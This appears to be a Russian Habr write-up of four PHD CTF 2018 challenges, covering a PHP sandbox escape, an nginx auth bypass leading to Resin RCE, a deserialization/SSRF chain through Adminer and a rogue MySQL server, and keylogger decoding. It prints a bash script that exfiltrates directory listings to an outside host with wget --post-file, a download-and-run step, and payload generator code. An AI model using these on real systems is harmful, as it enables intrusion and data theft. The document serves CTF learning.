Positive Hack Days CTF 2018 райтапы заданий: mnogorock, sincity, wowsuchchain, event0

Всем привет. Прошел ежегодный PHD CTF и как всегда задачи были очень крутые и интересные! В этом году решил 4 таска. Может показаться что статья очень длинная —, но там просто много скриншотов.

mnogorock


Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)

Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.

riaolnhlvgpyluuxq3ke1oif3fy.png

Собираем POST запрос

sre_ymdpjlz6o5doqtne9tvba3s.png

Видим результат выполнения команды inform (). Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение:

ty9qosmcbbzzhbcbija4nvz230e.png

hv4j37fzo_qjx1pbsxqhxvt4iek.png

Видим некую ошибку… А вот если дописать еще букву,

gmyecxzkxnjl7fngqgox9ynga90.png

то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.

Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. При этом часть токенов запрещена к использованию. А т.к. это sandbox, инъекция скорей всего неверный вектор.

Теперь попробуем написать валидные запросы, которые будут пропускаться. Например так:

r4suhnhn2ie0xzrcj7tnceb34b8.png

видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.

Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php

Смотрим функцию, которая производит токенезацию перед eval«ом кода

private function _runPHP() {
    $this->_source = "return " . $this->_source . ";";
    if (function_exists("token_get_all")) {//tokenizer extension may be disabled
        $php = "_source . "\n?>";
                 $tokens = token_get_all($php);


переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform ()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:

if (in_array($type, array(
    T_OPEN_TAG,
    T_RETURN,
    T_WHITESPACE,


а вторая — что токены T_STRING имеют допустимые значения:

if ($type == T_STRING) {
    $func = strtolower($token[1]);
    if (in_array($func, array(
    //keywords allowed
        "mongoid”,
        ….


T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform (). И дальше если условия прошли, происходит eval () кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.

Итого мы знаем что разрешено делать вызов функций (но только одной, inform), и строки в кавычках тоже пропускаются. Тут я вспомнил трюки из JS и попробовал сдалать так:

cf1zgwan0usmpynqi7g-8pozovc.png

Вот и решение. Осталось только найти флаг, который лежал в файле с рандомным именем в root (/). Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться. Правда не так как дальше…

sincity


Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.

s4cz6ce5dxkrx3mzszhozjapvje.png

Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу

pynygryqawrvsn1bzet3i8zrc7u.png

И тут видно название очень интересного сервера. До этой задачи я даже не знал о существовании такого. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)

Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.

b_revadkagcvfnrvwzd4wggzzjy.png

Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.

z-cowphgzrhnwbuvwz_q9hcqd8c.png

Это первая часть таска — обойти Basic HTTP Auth. Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:

6lrgumq9wjcxovzlooeintauoq4.png

Перебрав все 256 байт на месте §param§, находим что при %5с (бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/. Вот так выглядел исходный код страницы в /dev/:

h5vat3powgj2xzqye40q9hns36q.png

Вспоминаем такой же массив на первой странице. Это похоже на список файлов текущей директории.

  • task.php~~~edited — это исходник task.php, который типа забыли закрыть в редакторе, и он отдается в браузер плейн текстом.
  • task.php — сценарий который можно выполнять на веб сервере.


Смотрим код task.php:

$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
 }else{
    die('Swimming in the pool after using a bottle of vodka');
 }
}
?>


Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.

Эту штуку я знал, поэтому прошел быстро. Это стандартная PHP ошибка со слабым сравнением. Рекомендую посмотреть тут.

В краце, в PHP сравнение с 2 мя знаками равенства (==) считает истинным »0e12345»=»0e54321». То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. Это можно легко нагуглить.

Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:

$c = new $_GET['constr']($_GET['arg']);


это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class (parameter), где мы контролируем название класса и его параметр.

вторая строка

$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); 


если переписать попроще, то:
$c→method1()→method2(parameter2) — здесь мы контроллируем названия методов и параметр 2 го метода.

Очевидно что это RCE и осталось только найти подходящие названия классов. Вспоминаем что Resin — интегрирует PHP и Java код (Я вспомнил не сразу, и по началу начал копать в сторону Phar).

Решение этого таска фактически лежит в документации Resin:

qdfuii-hvv9sckspsibow8jxflw.png

Payload для RCE выглядит вот так:

jeawckroo1sjxskylqpzgavah8g.png

Вывода от команды не будет, поэтому делаем вывод через out-of-band технику. Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так:

xacuza2vjkujgpshi965snfwf7a.png

Т.к. название файла с флагом мы не знаем, нужно сделать листинг директорий. Метод класса Runtime — exec () может принимать на вход строку и массив. Как полноценный bash работает только в случае массива. Тогда как мы можем передать только строку. Поэтому делаем простой баш скрипт:

#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/

первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn …, вторым запросом — запускаем. Принимаем у себя на listener список директорий в руте, и дальше считываем флаг.

wowsuchchain


Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)

Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).

В условии дан URL, открываем, видим некий логгер HTTP запросов:

aqpgfoaayjgdo06qpdklr22nneg.png

Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:

dogjpuzwk6naumwgirz5telubw8.png

adminer.php — это опенсорсный инструмент для админки БД. Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен.

Открыв страницу c adminer видим сообщение:

mxj2bmwe_xvxcyo6lg4r0d6ylci.png

где нам говорят, что доступ разрешен только с внутренних ресурсов. Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer.

index.php.bak — нам дан исходник для решения.

index.php.bak исходник:

Скрытый текст
userdata = new MetaInfo();
                        $ip = $this->userdata->get_IP();
                        $useragent = htmlspecialchars($this->userdata->get_UA());
                        $serialized = serialize(array($ip,$useragent));
                        $key = getenv('KEY');
                        $nonce = md5(time());

                        $uniq_sig = hash_hmac('md5', $nonce, $key);
                        $crypto_arrow = $this->ahalai($serialized,$uniq_sig);

                        setcookie("nonce",$nonce);
                        setcookie("hmac",$crypto_arrow);
                        setcookie("userdata",base64_encode($serialized));
                        header("Location: /");
                }
                if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) {
                        fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w');
                }
        }

        function clear(){
                if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n"))
                        return "Log file cleaned!";
        }

        function show(){
                $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt');
                return $data;
        }
        function ahalai($serialized,$uniq_sig){
                $magic = $this->mahalai($serialized,$uniq_sig);
                return $magic;
        }

        function mahalai($serialized, $uniq_sig){
                return hash_hmac('md5', $serialized,$uniq_sig);
        }

        function __destruct(){
                if(isset($_COOKIE['userdata'])){
                        $serialized = base64_decode($_COOKIE['userdata']);
                        $key = getenv('KEY');
                        $nonce = $_COOKIE['nonce'];

                        $uniq_sig = hash_hmac('md5', $nonce, $key);
                        $crypto_arrow = $this->ahalai($serialized,$uniq_sig);

                        if($crypto_arrow!==$_COOKIE["hmac"]){
                                exit;
                        }

                        $this->userdata = unserialize($serialized);
                        $ip = $this->userdata[0];
                        $useragent = $this->userdata[1];

                        if(!isset($this->serverdata))
                                $this->serverdata = new MetaInfo();
                        $current_time = $this->serverdata->get_CT();
                        $script = $this->serverdata->get_SC();

                        return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND);
                }
        }

}
$a = new Logger();

?>

index   |       show log       |       clear log
-----------------------------------------------------------------------------

clear();
                break;

        case 'show':
                echo $a->show();
                break;

        default:
                echo "This is index page.";
                break;
}
?>


Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.

В __construct () проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Секретный ключ при этом храниться в переменной окружения. После подписи, данные и сама подпись отдаются пользователю. Это эмуляция подхода хранения данных сессии на стороне пользователя. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Все выглядит безопасно, поэтому переходим к __destructor ()

Т.к. я не сразу увидел баг в проверке подписи в __destruct (), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. И к обходу подписи вернулся в конце. Но тут все будет по порядку=)

$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];

$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);


Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:




HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac («ANYDATA»,»). А значит мы можем его вычислить перед отправкой запроса.

Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.

Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Но Adminer доступен только внутренним ресурсам. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php → SSRF в adminer.php → rogue_mysql_server→локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют. А название файла с флагом без RCE не найти).

Раскручиваем SSRF на index.php. Обращаем внимание на следующий участок кода:

$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];

if(!isset($this->serverdata))
        $this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();


Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct () этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata→get_CT (). Тут приходит на помощь магический метод __call (), который вызовется в случае обращения к несуществующему методу класса.

По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call () триггерит soap запрос. SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. Я зачем-то установил adminer себе, и начал изучать, что там есть. Можно было этого и не делать. Финальный код для генерации пейлоадов у меня вышел вот такой:

serverdata = new SoapClient(null, array(
                                'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=",
                                'uri'      => "http://172.17.0.$iter",
                                'trace'    => 1,
                        ));
                }
        }
        for($i=0;$i<=255;$i++) {
                $payload=serialize(array("127.0.0.1",new Logger($i)));
                file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND);
                file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND);
        }

?>


В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.

rubvrxo1p2veqptrzjjygtfqehy.png

Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда. Запускаем с такой конфигурацией:

filelist = (
    #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем
    'expect://ls > /tmp/mfocuz_tmp01',
    '/tmp/mfocuz_tmp01',
)


Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.

Запускаем Intruder, смотрим какой IP сработает:

55zxpe1eq9lny7giygqliatfnnm.png

В логе rogue сервера находим вот такое:

2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'

Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу. Итоговый запрос из Repeater:

g61-gumw5b616hrm8qtlo_2qoby.png

event0


Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:

Скрытый текст
#!/usr/bin/python 
import pdb 
import struct 
import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent 
CODE_MAP_CHAR = { 
    'KEY_MINUS': "-", 
    'KEY_SPACE': " ", 
    'KEY_U': "U", 
    'KEY_W': "W", 
    'KEY_BACKSLASH': "\\", 
    'KEY_GRAVE': "`", 
    'KEY_NUMERIC_STAR': "*", 
    'KEY_NUMERIC_3': "3", 
    'KEY_NUMERIC_2': "2", 
    'KEY_NUMERIC_5': "5", 
    'KEY_NUMERIC_4': "4", 
    'KEY_NUMERIC_7': "7", 
    'KEY_NUMERIC_6': "6", 
    'KEY_NUMERIC_9': "9", 
    'KEY_NUMERIC_8': "8", 
    'KEY_NUMERIC_1': "1", 
    'KEY_NUMERIC_0': "0", 
    'KEY_E': "E", 
    'KEY_D': "D", 
    'KEY_G': "G", 
    'KEY_F': "F", 
    'KEY_A': "A", 
    'KEY_C': "C", 
    'KEY_B': "B", 
    'KEY_M': "M", 
    'KEY_L': "L", 
    'KEY_O': "O", 
    'KEY_N': "N", 
    'KEY_I': "I", 
    'KEY_H': "H", 
    'KEY_K': "K", 
    'KEY_J': "J", 
    'KEY_Q': "Q", 
    'KEY_P': "P", 
    'KEY_S': "S", 
    'KEY_X': "X", 
    'KEY_Z': "Z", 
    'KEY_KP4': "4", 
    'KEY_KP5': "5", 
    'KEY_KP6': "6", 
    'KEY_KP7': "7", 
    'KEY_KP0': "0", 
    'KEY_KP1': "1", 
    'KEY_KP2': "2", 
    'KEY_KP3': "3", 
    'KEY_KP8': "8", 
    'KEY_KP9': "9", 
    'KEY_5': "5", 
    'KEY_4': "4", 
    'KEY_7': "7", 
    'KEY_6': "6", 
    'KEY_1': "1", 
    'KEY_0': "0", 
    'KEY_3': "3", 
    'KEY_2': "2", 
    'KEY_9': "9", 
    'KEY_8': "8", 
    'KEY_LEFTBRACE': "[", 
    'KEY_RIGHTBRACE': "]", 
    'KEY_COMMA': ",", 
    'KEY_EQUAL': "=", 
    'KEY_SEMICOLON': ";", 
    'KEY_APOSTROPHE': "'", 
    'KEY_T': "T", 
    'KEY_V': "V", 
    'KEY_R': "R", 
    'KEY_Y': "Y", 
    'KEY_TAB': "\t", 
    'KEY_DOT': ".", 
    'KEY_SLASH': "/", 
} 
def parse_key_to_char(val): 
    return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" 

if __name__ == "__main__": 
#    pdb.set_trace() 
    f=open('/home/w4x/ctf/phd2018/event0',"rb") 
    events=[] 
    e=f.read(24) 
    events.append(e) 
    while e != "": 
        e=f.read(24) 
        events.append(e) 

    for e in events: 
        eBytes = a=struct.unpack("HHHHHHHHHHi",e) 
        event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) 
        if event.type == ecodes.EV_KEY: 
            print  evdev.categorize(event) 



Первые строчки вывода скрипта:

key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up

down-up это нажатия клавиш «вниз-вверх». Сразу видим, что запускается команда vim key.txt. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Поэтому не все буквы в логе были реальным текстом. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг.

© Habrahabr.ru